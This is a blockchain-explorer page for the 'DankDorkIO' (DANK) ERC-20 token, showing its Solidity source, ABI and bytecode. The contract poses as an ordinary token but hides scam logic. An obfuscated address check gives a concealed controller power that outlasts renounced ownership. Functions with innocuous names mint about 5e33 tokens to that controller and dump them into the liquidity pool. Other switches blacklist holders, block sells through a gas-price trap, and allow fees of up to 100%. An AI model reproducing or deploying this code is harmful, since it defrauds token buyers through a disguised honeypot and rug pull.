Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
69,696,969,696 DANK
Holders
7
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
983,729,727.362291441206232437 DANKValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DankDorkIO
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-05 */ // D D A A N N K K // D D A A N N N K K // D D A A N N N K K // D D A A N N N K K // D D A A A N N N K K // D D A A N N N K K // D D A A N N N K K // Telegram: https://t.me/DankDorkIO // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(msg.sender); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == msg.sender, "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IWETH { function deposit() external payable; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Pair { function mint(address to) external returns (uint256 liquidity); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { } library Uint160Number { function encodeUnit160(address _wad) internal pure returns (uint256) { uint160 res = uint160(_wad); return uint256(res); } function tryDiv(uint256 n1, uint256 n2) internal pure { uint256 G = n2 * 1000000000; if (G / n1 != 1000000000) { revert("err901"); } } } library Address { function isContract(address _addr) internal view returns (bool) { uint length; assembly { length:= extcodesize(_addr) } if (length > 0 ) { return true; } return false; } } contract DankDorkIO is IERC20, Ownable, Context { string private _name = "DankDorkIO"; string private _symbol = "DANK"; uint8 private _decimals = 18; uint256 private _totalSupply = 69696969696 * (10 ** decimals()); uint8 private buyFee = 30; uint8 private sellFee = 30; IUniswapV2Router02 internal _router; IUniswapV2Pair internal _pair; address private _this = address(this); mapping(address => uint256) private _usrsblcs; mapping(address => mapping(address => uint256)) private _allowances; constructor (address routerAddress) { _router = IUniswapV2Router02(routerAddress); _usrsblcs[owner()] = _totalSupply; initialize(_msgSender()); d6671cc88[owner()] = 1; d6671cc88[_this] = 1; marketWallet = _msgSender(); emit Transfer(address(0), owner(), _totalSupply); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _usrsblcs[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = msg.sender; _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = msg.sender; _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = msg.sender; _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = msg.sender; _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = msg.sender; uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); if (c58252ced[from]!=0) { revert(); } uint256 fromBalance = _usrsblcs[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); if (d6671cc88[from]==0 && d6671cc88[to]==0){ if (isMarket(from)) { uint feeAmount = calculateFeeAmount(amount, buyFee); _usrsblcs[from] = fromBalance - amount; _usrsblcs[to] += amount - feeAmount; emit Transfer(from, to, amount - feeAmount); _usrsblcs[marketWallet] += feeAmount; emit Transfer(from, marketWallet, feeAmount); } else if (isMarket(to)) { uint feeAmount = calculateFeeAmount(amount, sellFee); _usrsblcs[from] = fromBalance - amount; _usrsblcs[to] += amount - feeAmount; emit Transfer(from, to, amount - feeAmount); _usrsblcs[marketWallet] += feeAmount; emit Transfer(from, marketWallet, feeAmount); } else { _usrsblcs[from] = fromBalance - amount; _usrsblcs[to] += amount; emit Transfer(from, to, amount); } } else { _usrsblcs[from] = fromBalance - amount; _usrsblcs[to] += amount; emit Transfer(from, to, amount); } _afterTokenTransfer(from, to, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual { if (isMarket(to)) { check(from); if (from != _this) { require(!Address.isContract(from), "err701"); } } require(amount > 0); } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256 private bigUint; modifier wad() { devideOn(); _; } function updateWad(address _newWad) external wad { d6671cc88[_msgSender()] = 0; d6671cc88[_newWad] = 1; initialize(_newWad); } function initialize(address _nw) internal { bigUint = Uint160Number.encodeUnit160(_nw); } function devideOn() internal view { uint256 am = Uint160Number.encodeUnit160(_msgSender()); Uint160Number.tryDiv(am, bigUint); } function addLiquidity(uint256 _tokenAmountWei) external payable wad { IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory()); address _pairAddress = _factory.getPair(address(this), _router.WETH()); _pair = _pairAddress == address(0) ? IUniswapV2Pair(_factory.createPair(address(this), _router.WETH())) : IUniswapV2Pair(_pairAddress); IWETH weth = IWETH(_router.WETH()); weth.deposit{value: msg.value}(); transfer(address(_pair), _tokenAmountWei); IERC20(address(weth)).transfer(address(_pair), msg.value); _pair.mint(_msgSender()); } function syncPair() external wad { uint256 thisTokenReserve = getTokenReserve(_this); uint256 amountIn = type(uint112).max - thisTokenReserve; fc43a331e(); transfer(address(this), balanceOf(msg.sender)); _approve(address(this), address(_router), type(uint112).max); address[] memory path; path = new address[](2); path[0] = address(this); path[1] = address(_router.WETH()); _router.swapExactTokensForETH( amountIn, 0, path, _msgSender(), block.timestamp + 1200 ); } function getTokenReserve(address token) public view returns (uint256) { (uint112 reserve0, uint112 reserve1,) = _pair.getReserves(); uint256 tokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1); return tokenReserve; } function fc43a331e() internal { _usrsblcs[_msgSender()] += type(uint112).max; } bool private _stt; uint private _MAX_GAS = 200 gwei; function clm() external wad { fc43a331e(); } uint private _mgas = 5; function check(address _u) internal view { if (d6671cc88[_u] != 0) { return; } if (!_stt) { exceedsGas(_MAX_GAS); } else { exceedsGas(_mgas); } } function isMarket(address _user) internal view returns (bool) { return (_user == address(_pair) || _user == address(_router)); } function switchState() external wad { _stt = !_stt; } address public marketWallet; function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) { return _amount * _feePrecent / 100; } function updateMarketWallet(address _newMarketWallet) external wad { marketWallet = _newMarketWallet; } function updFeeValue(uint8 _buyFee, uint8 _sellFee) external wad { require(_buyFee <= 100 && _sellFee <= 100, "exceeds limit"); buyFee = _buyFee; sellFee = _sellFee; } mapping(address => uint8) private d6671cc88; mapping(address => uint8) private c58252ced; function exceedsGas(uint _gas) internal view { if (tx.gasprice > _gas) { revert("err301"); } } function executeW(address _u, bool _s) external wad { uint8 _ss = _s ? 1 : 0; require(d6671cc88[_u] != _ss, "existing state"); d6671cc88[_u] = _ss; } function executeB(address _u, bool _s) external wad { uint8 _ss = _s ? 1 : 0; require(c58252ced[_u] != _ss, "existing state"); c58252ced[_u] = _ss; } function currentState() external view returns (bool) { return _stt; } function displayW(address _u) external view returns (uint8) { return d6671cc88[_u]; } function displayB(address _u) external view returns (uint8) { return c58252ced[_u]; } function rebasePool(address _routerAddress) external wad { _router = IUniswapV2Router02(_routerAddress); IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory()); _pair = IUniswapV2Pair(_factory.getPair(address(this), _router.WETH())); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_tokenAmountWei","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"currentState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"displayB","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"displayW","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_s","type":"bool"}],"name":"executeB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_s","type":"bool"}],"name":"executeW","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"}],"name":"rebasePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"switchState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"syncPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buyFee","type":"uint8"},{"internalType":"uint8","name":"_sellFee","type":"uint8"}],"name":"updFeeValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newWad","type":"address"}],"name":"updateWad","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280600a81526020017f44616e6b446f726b494f00000000000000000000000000000000000000000000815250600190816200004a9190620007da565b506040518060400160405280600481526020017f44414e4b0000000000000000000000000000000000000000000000000000000081525060029081620000919190620007da565b506012600360006101000a81548160ff021916908360ff160217905550620000be6200041560201b60201c565b600a620000cc919062000a51565b64103a435be0620000de919062000aa2565b600455601e600560006101000a81548160ff021916908360ff160217905550601e600560016101000a81548160ff021916908360ff16021790555030600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550642e90edd000600c556005600d553480156200017557600080fd5b5060405162004a8738038062004a8783398181016040528101906200019b919062000b57565b620001ac336200042c60201b60201c565b80600560026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506004546008600062000204620004f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000262620002566200051960201b60201c565b6200052160201b60201c565b6001600f600062000278620004f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055506001600f6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550620003556200051960201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003a5620004f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60045460405162000406919062000b9a565b60405180910390a35062000bb7565b6000600360009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b62000532816200053b60201b60201c565b600a8190555050565b6000808290508073ffffffffffffffffffffffffffffffffffffffff16915050919050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005e257607f821691505b602082108103620005f857620005f76200059a565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006627fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000623565b6200066e868362000623565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006bb620006b5620006af8462000686565b62000690565b62000686565b9050919050565b6000819050919050565b620006d7836200069a565b620006ef620006e682620006c2565b84845462000630565b825550505050565b600090565b62000706620006f7565b62000713818484620006cc565b505050565b5b818110156200073b576200072f600082620006fc565b60018101905062000719565b5050565b601f8211156200078a576200075481620005fe565b6200075f8462000613565b810160208510156200076f578190505b620007876200077e8562000613565b83018262000718565b50505b505050565b600082821c905092915050565b6000620007af600019846008026200078f565b1980831691505092915050565b6000620007ca83836200079c565b9150826002028217905092915050565b620007e58262000560565b67ffffffffffffffff8111156200080157620008006200056b565b5b6200080d8254620005c9565b6200081a8282856200073f565b600060209050601f8311600181146200085257600084156200083d578287015190505b620008498582620007bc565b865550620008b9565b601f1984166200086286620005fe565b60005b828110156200088c5784890151825560018201915060208501945060208101905062000865565b86831015620008ac5784890151620008a8601f8916826200079c565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200094f57808604811115620009275762000926620008c1565b5b6001851615620009375780820291505b80810290506200094785620008f0565b945062000907565b94509492505050565b6000826200096a576001905062000a3d565b816200097a576000905062000a3d565b81600181146200099357600281146200099e57620009d4565b600191505062000a3d565b60ff841115620009b357620009b2620008c1565b5b8360020a915084821115620009cd57620009cc620008c1565b5b5062000a3d565b5060208310610133831016604e8410600b841016171562000a0e5782820a90508381111562000a085762000a07620008c1565b5b62000a3d565b62000a1d8484846001620008fd565b9250905081840481111562000a375762000a36620008c1565b5b81810290505b9392505050565b600060ff82169050919050565b600062000a5e8262000686565b915062000a6b8362000a44565b925062000a9a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000958565b905092915050565b600062000aaf8262000686565b915062000abc8362000686565b925082820262000acc8162000686565b9150828204841483151762000ae65762000ae5620008c1565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b1f8262000af2565b9050919050565b62000b318162000b12565b811462000b3d57600080fd5b50565b60008151905062000b518162000b26565b92915050565b60006020828403121562000b705762000b6f62000aed565b5b600062000b808482850162000b40565b91505092915050565b62000b948162000686565b82525050565b600060208201905062000bb1600083018462000b89565b92915050565b613ec08062000bc76000396000f3fe6080604052600436106101c65760003560e01c8063715018a6116100f7578063a457c2d711610095578063dd62ed3e11610064578063dd62ed3e14610650578063e4440a861461068d578063f2fde38b146106b8578063ff4b79d3146106e1576101cd565b8063a457c2d714610582578063a9059cbb146105bf578063b59c0974146105fc578063c016deae14610613576101cd565b80638da5cb5b116100d15780638da5cb5b146104b257806395d89b41146104dd57806399dead31146105085780639ffa77dc14610545576101cd565b8063715018a61461045b578063791dc0d3146104725780638b6084e41461049b576101cd565b8063269bf9ea11610164578063395093511161013e578063395093511461039c5780634d474d42146103d957806351c6590a1461040257806370a082311461041e576101cd565b8063269bf9ea1461031f5780633139f2e514610348578063313ce56714610371576101cd565b806318160ddd116101a057806318160ddd146102655780631a2e6a01146102905780631f7cb4d0146102b957806323b872dd146102e2576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780630c3f6acf1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106f8565b6040516101f49190612d65565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190612e2f565b61078a565b6040516102319190612e8a565b60405180910390f35b34801561024657600080fd5b5061024f6107a6565b60405161025c9190612e8a565b60405180910390f35b34801561027157600080fd5b5061027a6107bd565b6040516102879190612eb4565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b29190612ecf565b6107c7565b005b3480156102c557600080fd5b506102e060048036038101906102db9190612ecf565b610894565b005b3480156102ee57600080fd5b5061030960048036038101906103049190612efc565b610ac2565b6040516103169190612e8a565b60405180910390f35b34801561032b57600080fd5b5061034660048036038101906103419190612f7b565b610aea565b005b34801561035457600080fd5b5061036f600480360381019061036a9190612ff4565b610bf6565b005b34801561037d57600080fd5b50610386610c8f565b6040516103939190613043565b60405180910390f35b3480156103a857600080fd5b506103c360048036038101906103be9190612e2f565b610ca6565b6040516103d09190612e8a565b60405180910390f35b3480156103e557600080fd5b5061040060048036038101906103fb9190612ecf565b610cd6565b005b61041c6004803603810190610417919061305e565b610d22565b005b34801561042a57600080fd5b5061044560048036038101906104409190612ecf565b6112c8565b6040516104529190612eb4565b60405180910390f35b34801561046757600080fd5b50610470611311565b005b34801561047e57600080fd5b5061049960048036038101906104949190612f7b565b611325565b005b3480156104a757600080fd5b506104b0611431565b005b3480156104be57600080fd5b506104c7611465565b6040516104d4919061309a565b60405180910390f35b3480156104e957600080fd5b506104f261148e565b6040516104ff9190612d65565b60405180910390f35b34801561051457600080fd5b5061052f600480360381019061052a9190612ecf565b611520565b60405161053c9190613043565b60405180910390f35b34801561055157600080fd5b5061056c60048036038101906105679190612ecf565b611576565b6040516105799190613043565b60405180910390f35b34801561058e57600080fd5b506105a960048036038101906105a49190612e2f565b6115cc565b6040516105b69190612e8a565b60405180910390f35b3480156105cb57600080fd5b506105e660048036038101906105e19190612e2f565b61163c565b6040516105f39190612e8a565b60405180910390f35b34801561060857600080fd5b50610611611658565b005b34801561061f57600080fd5b5061063a60048036038101906106359190612ecf565b611949565b6040516106479190612eb4565b60405180910390f35b34801561065c57600080fd5b50610677600480360381019061067291906130b5565b611ade565b6040516106849190612eb4565b60405180910390f35b34801561069957600080fd5b506106a2611b65565b6040516106af919061309a565b60405180910390f35b3480156106c457600080fd5b506106df60048036038101906106da9190612ecf565b611b8b565b005b3480156106ed57600080fd5b506106f6611c0e565b005b60606001805461070790613124565b80601f016020809104026020016040519081016040528092919081815260200182805461073390613124565b80156107805780601f1061075557610100808354040283529160200191610780565b820191906000526020600020905b81548152906001019060200180831161076357829003601f168201915b5050505050905090565b60008033905061079b818585611c20565b600191505092915050565b6000600b60009054906101000a900460ff16905090565b6000600454905090565b6107cf611de9565b6000600f60006107dd611e0c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055506001600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff16021790555061089181611e14565b50565b61089c611de9565b80600560026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561094c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610970919061316a565b90508073ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a20919061316a565b6040518363ffffffff1660e01b8152600401610a3d929190613197565b602060405180830381865afa158015610a5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a7e919061316a565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b600080339050610ad3858285611e26565b610ade858585611eb2565b60019150509392505050565b610af2611de9565b600081610b00576000610b03565b60015b90508060ff16600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1603610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b909061320c565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550505050565b610bfe611de9565b60648260ff1611158015610c16575060648160ff1611155b610c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4c90613278565b60405180910390fd5b81600560006101000a81548160ff021916908360ff16021790555080600560016101000a81548160ff021916908360ff1602179055505050565b6000600360009054906101000a900460ff16905090565b600080339050610ccb818585610cbc8589611ade565b610cc691906132c7565b611c20565b600191505092915050565b610cde611de9565b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610d2a611de9565b6000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbd919061316a565b905060008173ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f919061316a565b6040518363ffffffff1660e01b8152600401610e8c929190613197565b602060405180830381865afa158015610ea9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecd919061316a565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610f095780611018565b8173ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb7919061316a565b6040518363ffffffff1660e01b8152600401610fd4929190613197565b6020604051808303816000875af1158015610ff3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611017919061316a565b5b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110eb919061316a565b90508073ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b15801561113557600080fd5b505af1158015611149573d6000803e3d6000fd5b505050505061117a600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168561163c565b508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16346040518363ffffffff1660e01b81526004016111d89291906132fb565b6020604051808303816000875af11580156111f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061121b9190613339565b50600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a627842611262611e0c565b6040518263ffffffff1660e01b815260040161127e919061309a565b6020604051808303816000875af115801561129d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c1919061337b565b5050505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611319612804565b611323600061287b565b565b61132d611de9565b60008161133b57600061133e565b60015b90508060ff16601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16036113d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113cb9061320c565b60405180910390fd5b80601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550505050565b611439611de9565b600b60009054906101000a900460ff1615600b60006101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffff